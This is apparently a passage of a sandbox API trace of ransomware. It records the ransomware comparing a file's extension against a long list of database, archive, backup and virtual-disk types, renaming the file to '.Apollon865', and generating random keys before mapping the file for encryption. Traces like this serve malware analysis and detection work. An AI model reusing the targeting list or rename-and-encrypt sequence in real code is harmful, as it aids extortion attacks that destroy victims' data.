	[0064.850] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0064.850] lstrlenW (lpString="Apollon865") returned 10
	[0064.850] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0064.850] lstrlenW (lpString=".dll") returned 4
	[0064.850] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0064.850] lstrlenW (lpString=".lnk") returned 4
	[0064.851] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0064.851] lstrlenW (lpString=".ini") returned 4
	[0064.851] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0064.851] lstrlenW (lpString=".sys") returned 4
	[0064.851] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0064.851] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0064.851] lstrlenW (lpString="bak") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0064.851] lstrlenW (lpString="ba_") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0064.851] lstrlenW (lpString="dbb") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0064.851] lstrlenW (lpString="vmdk") returned 4
	[0064.851] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0064.851] lstrlenW (lpString="rar") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0064.851] lstrlenW (lpString="zip") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0064.851] lstrlenW (lpString="tgz") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0064.851] lstrlenW (lpString="vbox") returned 4
	[0064.851] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0064.851] lstrlenW (lpString="vdi") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0064.851] lstrlenW (lpString="vhd") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0064.851] lstrlenW (lpString="vhdx") returned 4
	[0064.851] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0064.851] lstrlenW (lpString="avhd") returned 4
	[0064.851] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0064.851] lstrlenW (lpString="db") returned 2
	[0064.851] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0064.851] lstrlenW (lpString="db2") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0064.851] lstrlenW (lpString="db3") returned 3
	[0064.851] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0064.852] lstrlenW (lpString="dbf") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0064.852] lstrlenW (lpString="mdf") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0064.852] lstrlenW (lpString="mdb") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0064.852] lstrlenW (lpString="sql") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0064.852] lstrlenW (lpString="sqlite") returned 6
	[0064.852] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0064.852] lstrlenW (lpString="sqlite3") returned 7
	[0064.852] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0064.852] lstrlenW (lpString="sqlitedb") returned 8
	[0064.852] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0064.852] lstrlenW (lpString="xml") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0064.852] lstrlenW (lpString="$er") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0064.852] lstrlenW (lpString="4dd") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0064.852] lstrlenW (lpString="4dl") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0064.852] lstrlenW (lpString="^^^") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0064.852] lstrlenW (lpString="abs") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0064.852] lstrlenW (lpString="abx") returned 3
	[0064.852] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0064.852] lstrlenW (lpString="accdb") returned 5
	[0064.852] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0064.852] lstrlenW (lpString="accdc") returned 5
	[0064.852] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0064.852] lstrlenW (lpString="accde") returned 5
	[0064.852] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0064.852] lstrlenW (lpString="accdr") returned 5
	[0064.852] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0064.853] lstrlenW (lpString="accdt") returned 5
	[0064.853] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0064.853] lstrlenW (lpString="accdw") returned 5
	[0064.853] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0064.853] lstrlenW (lpString="accft") returned 5
	[0064.853] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0064.853] lstrlenW (lpString="adb") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0064.853] lstrlenW (lpString="adb") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0064.853] lstrlenW (lpString="ade") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0064.853] lstrlenW (lpString="adf") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0064.853] lstrlenW (lpString="adn") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0064.853] lstrlenW (lpString="adp") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0064.853] lstrlenW (lpString="alf") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0064.853] lstrlenW (lpString="ask") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0064.853] lstrlenW (lpString="btr") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0064.853] lstrlenW (lpString="cat") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0064.853] lstrlenW (lpString="cdb") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0064.853] lstrlenW (lpString="ckp") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0064.853] lstrlenW (lpString="cma") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0064.853] lstrlenW (lpString="cpd") returned 3
	[0064.853] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0064.854] lstrlenW (lpString="dacpac") returned 6
	[0064.854] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0064.854] lstrlenW (lpString="dad") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0064.854] lstrlenW (lpString="dadiagrams") returned 10
	[0064.854] lstrcmpiW (lpString1="um_x86.msi", lpString2="dadiagrams") returned 1
	[0064.854] lstrlenW (lpString="daschema") returned 8
	[0064.854] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0064.854] lstrlenW (lpString="db-journal") returned 10
	[0064.854] lstrcmpiW (lpString1="um_x86.msi", lpString2="db-journal") returned 1
	[0064.854] lstrlenW (lpString="db-shm") returned 6
	[0064.854] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0064.854] lstrlenW (lpString="db-wal") returned 6
	[0064.854] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0064.854] lstrlenW (lpString="dbc") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0064.854] lstrlenW (lpString="dbs") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0064.854] lstrlenW (lpString="dbt") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0064.854] lstrlenW (lpString="dbv") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0064.854] lstrlenW (lpString="dbx") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0064.854] lstrlenW (lpString="dcb") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0064.854] lstrlenW (lpString="dct") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0064.854] lstrlenW (lpString="dcx") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0064.854] lstrlenW (lpString="ddl") returned 3
	[0064.854] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0064.854] lstrlenW (lpString="dlis") returned 4
	[0064.855] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0064.855] lstrlenW (lpString="dp1") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0064.855] lstrlenW (lpString="dqy") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0064.855] lstrlenW (lpString="dsk") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0064.855] lstrlenW (lpString="dsn") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0064.855] lstrlenW (lpString="dtsx") returned 4
	[0064.855] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0064.855] lstrlenW (lpString="dxl") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0064.855] lstrlenW (lpString="eco") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0064.855] lstrlenW (lpString="ecx") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0064.855] lstrlenW (lpString="edb") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0064.855] lstrlenW (lpString="epim") returned 4
	[0064.855] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0064.855] lstrlenW (lpString="fcd") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0064.855] lstrlenW (lpString="fdb") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0064.855] lstrlenW (lpString="fic") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0064.855] lstrlenW (lpString="flexolibrary") returned 12
	[0064.855] lstrcmpiW (lpString1="imum_x86.msi", lpString2="flexolibrary") returned 1
	[0064.855] lstrlenW (lpString="fm5") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0064.855] lstrlenW (lpString="fmp") returned 3
	[0064.855] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0064.855] lstrlenW (lpString="fmp12") returned 5
	[0064.855] lstrcmpiW (lpString1="6.msi", lpString2="fmp12") returned -1
	[0064.855] lstrlenW (lpString="fmpsl") returned 5
	[0064.856] lstrcmpiW (lpString1="6.msi", lpString2="fmpsl") returned -1
	[0064.856] lstrlenW (lpString="fol") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0064.856] lstrlenW (lpString="fp3") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0064.856] lstrlenW (lpString="fp4") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0064.856] lstrlenW (lpString="fp5") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0064.856] lstrlenW (lpString="fp7") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0064.856] lstrlenW (lpString="fpt") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0064.856] lstrlenW (lpString="frm") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0064.856] lstrlenW (lpString="gdb") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0064.856] lstrlenW (lpString="gdb") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0064.856] lstrlenW (lpString="grdb") returned 4
	[0064.856] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0064.856] lstrlenW (lpString="gwi") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0064.856] lstrlenW (lpString="hdb") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0064.856] lstrlenW (lpString="his") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0064.856] lstrlenW (lpString="ib") returned 2
	[0064.856] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0064.856] lstrlenW (lpString="idb") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0064.856] lstrlenW (lpString="ihx") returned 3
	[0064.856] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0064.856] lstrlenW (lpString="itdb") returned 4
	[0064.856] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0064.856] lstrlenW (lpString="itw") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0064.857] lstrlenW (lpString="jet") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0064.857] lstrlenW (lpString="jtx") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0064.857] lstrlenW (lpString="kdb") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0064.857] lstrlenW (lpString="kexi") returned 4
	[0064.857] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0064.857] lstrlenW (lpString="kexic") returned 5
	[0064.857] lstrcmpiW (lpString1="6.msi", lpString2="kexic") returned -1
	[0064.857] lstrlenW (lpString="kexis") returned 5
	[0064.857] lstrcmpiW (lpString1="6.msi", lpString2="kexis") returned -1
	[0064.857] lstrlenW (lpString="lgc") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0064.857] lstrlenW (lpString="lwx") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0064.857] lstrlenW (lpString="maf") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0064.857] lstrlenW (lpString="maq") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0064.857] lstrlenW (lpString="mar") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0064.857] lstrlenW (lpString="marshal") returned 7
	[0064.857] lstrcmpiW (lpString1="x86.msi", lpString2="marshal") returned 1
	[0064.857] lstrlenW (lpString="mas") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0064.857] lstrlenW (lpString="mav") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0064.857] lstrlenW (lpString="maw") returned 3
	[0064.857] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0064.857] lstrlenW (lpString="mdbhtml") returned 7
	[0064.857] lstrcmpiW (lpString1="x86.msi", lpString2="mdbhtml") returned 1
	[0064.858] lstrlenW (lpString="mdn") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0064.858] lstrlenW (lpString="mdt") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0064.858] lstrlenW (lpString="mfd") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0064.858] lstrlenW (lpString="mpd") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0064.858] lstrlenW (lpString="mrg") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0064.858] lstrlenW (lpString="mud") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0064.858] lstrlenW (lpString="mwb") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0064.858] lstrlenW (lpString="myd") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0064.858] lstrlenW (lpString="ndf") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0064.858] lstrlenW (lpString="nnt") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0064.858] lstrlenW (lpString="nrmlib") returned 6
	[0064.858] lstrcmpiW (lpString1="86.msi", lpString2="nrmlib") returned -1
	[0064.858] lstrlenW (lpString="ns2") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0064.858] lstrlenW (lpString="ns3") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0064.858] lstrlenW (lpString="ns4") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0064.858] lstrlenW (lpString="nsf") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0064.858] lstrlenW (lpString="nv") returned 2
	[0064.858] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0064.858] lstrlenW (lpString="nv2") returned 3
	[0064.858] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0064.859] lstrlenW (lpString="nwdb") returned 4
	[0064.859] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0064.859] lstrlenW (lpString="nyf") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0064.859] lstrlenW (lpString="odb") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0064.859] lstrlenW (lpString="odb") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0064.859] lstrlenW (lpString="oqy") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0064.859] lstrlenW (lpString="ora") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0064.859] lstrlenW (lpString="orx") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0064.859] lstrlenW (lpString="owc") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0064.859] lstrlenW (lpString="p96") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0064.859] lstrlenW (lpString="p97") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0064.859] lstrlenW (lpString="pan") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0064.859] lstrlenW (lpString="pdb") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0064.859] lstrlenW (lpString="pdm") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0064.859] lstrlenW (lpString="pnz") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0064.859] lstrlenW (lpString="qry") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0064.859] lstrlenW (lpString="qvd") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0064.859] lstrlenW (lpString="rbf") returned 3
	[0064.859] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0064.859] lstrlenW (lpString="rctd") returned 4
	[0064.860] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0064.860] lstrlenW (lpString="rod") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0064.860] lstrlenW (lpString="rodx") returned 4
	[0064.860] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0064.860] lstrlenW (lpString="rpd") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0064.860] lstrlenW (lpString="rsd") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0064.860] lstrlenW (lpString="sas7bdat") returned 8
	[0064.860] lstrcmpiW (lpString1="_x86.msi", lpString2="sas7bdat") returned -1
	[0064.860] lstrlenW (lpString="sbf") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0064.860] lstrlenW (lpString="scx") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0064.860] lstrlenW (lpString="sdb") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0064.860] lstrlenW (lpString="sdc") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0064.860] lstrlenW (lpString="sdf") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0064.860] lstrlenW (lpString="sis") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0064.860] lstrlenW (lpString="spq") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0064.860] lstrlenW (lpString="te") returned 2
	[0064.860] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0064.860] lstrlenW (lpString="teacher") returned 7
	[0064.860] lstrcmpiW (lpString1="x86.msi", lpString2="teacher") returned 1
	[0064.860] lstrlenW (lpString="tmd") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0064.860] lstrlenW (lpString="tps") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0064.860] lstrlenW (lpString="trc") returned 3
	[0064.860] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0064.861] lstrlenW (lpString="trc") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0064.861] lstrlenW (lpString="trm") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0064.861] lstrlenW (lpString="udb") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0064.861] lstrlenW (lpString="udl") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0064.861] lstrlenW (lpString="usr") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0064.861] lstrlenW (lpString="v12") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0064.861] lstrlenW (lpString="vis") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0064.861] lstrlenW (lpString="vpd") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0064.861] lstrlenW (lpString="vvv") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0064.861] lstrlenW (lpString="wdb") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0064.861] lstrlenW (lpString="wmdb") returned 4
	[0064.861] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0064.861] lstrlenW (lpString="wrk") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0064.861] lstrlenW (lpString="xdb") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0064.861] lstrlenW (lpString="xld") returned 3
	[0064.861] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0064.861] lstrlenW (lpString="xmlff") returned 5
	[0064.861] lstrcmpiW (lpString1="6.msi", lpString2="xmlff") returned -1
	[0064.861] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865") returned 149
	[0064.861] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.apollon865"), dwFlags=0x1) returned 1
	[0064.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.863] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=151552) returned 1
	[0064.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0064.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.867] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0064.868] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.868] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.868] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25300, lpName=0x0) returned 0x14c
	[0064.869] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25300) returned 0x120000
	[0064.885] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0064.885] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.885] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0064.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0064.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0064.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0064.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.886] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
